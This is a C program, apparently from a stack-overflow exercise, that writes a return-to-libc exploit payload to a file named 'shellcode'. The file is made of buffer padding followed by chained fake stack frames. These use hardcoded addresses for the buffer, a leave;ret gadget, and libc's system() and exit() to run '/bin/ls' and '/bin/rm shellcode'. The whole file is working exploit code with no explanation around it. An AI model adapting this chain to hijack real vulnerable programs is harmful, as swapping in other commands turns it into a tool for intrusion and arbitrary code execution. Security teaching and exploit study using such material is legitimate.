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ret_libc.c
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ret_libc.c
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#include <stdio.h>
#include <string.h>
#define FILENAME "shellcode"
#define BUF_ADDR 0xbffff66c
#define BUF_SIZE 64
#define BUF_PAD 12
#define STR1 "/bin/ls"
#define STR2 "/bin/rm shellcode"
#define LEAVE_RET 0x08048535
#define SYS_SYSTEM 0xb7e6a310
#define SYS_EXIT 0xb7e5d260
#define PTR_SIZE sizeof(void*)
int main(int argc, char *argv[])
{
const int c_leave_ret = LEAVE_RET;
const int c_system = SYS_SYSTEM;
const int c_exit = SYS_EXIT;
FILE* fp = fopen(FILENAME, "w");
char buf[128];
int val;
int ebp = BUF_ADDR + BUF_SIZE + BUF_PAD;
// padding
val = BUF_SIZE + BUF_PAD;
memset(buf, 'Z', val);
fwrite(buf, val, 1, fp);
// 0 frame
ebp += PTR_SIZE * 2;
fwrite(&ebp, 4, 1, fp);
fwrite(&c_leave_ret, 4, 1, fp);
// End of shellcode address (strings location)
val = BUF_ADDR + BUF_SIZE + BUF_PAD + PTR_SIZE * (2 + 4 + 4 + 4);
// 1-st system()
ebp += PTR_SIZE * 4;
fwrite(&ebp, 4, 1, fp);
fwrite(&c_system, 4, 1, fp);
fwrite(&c_leave_ret, 4, 1, fp);
fwrite(&val, 4, 1, fp);
// 2-nd system()
ebp += PTR_SIZE * 4;
fwrite(&ebp, 4, 1, fp);
fwrite(&c_system, 4, 1, fp);
fwrite(&c_leave_ret, 4, 1, fp);
val += sizeof(STR1);
fwrite(&val, 4, 1, fp);
// exit()
ebp += PTR_SIZE * 4;
fwrite(&ebp, 4, 1, fp);
fwrite(&c_exit, 4, 1, fp);
fwrite(&c_leave_ret, 4, 1, fp);
val = 0;
fwrite(&val, 4, 1, fp);
// strings
fwrite(STR1, sizeof(STR1), 1, fp);
fwrite(STR2, sizeof(STR2), 1, fp);
fclose(fp);
return 0;
}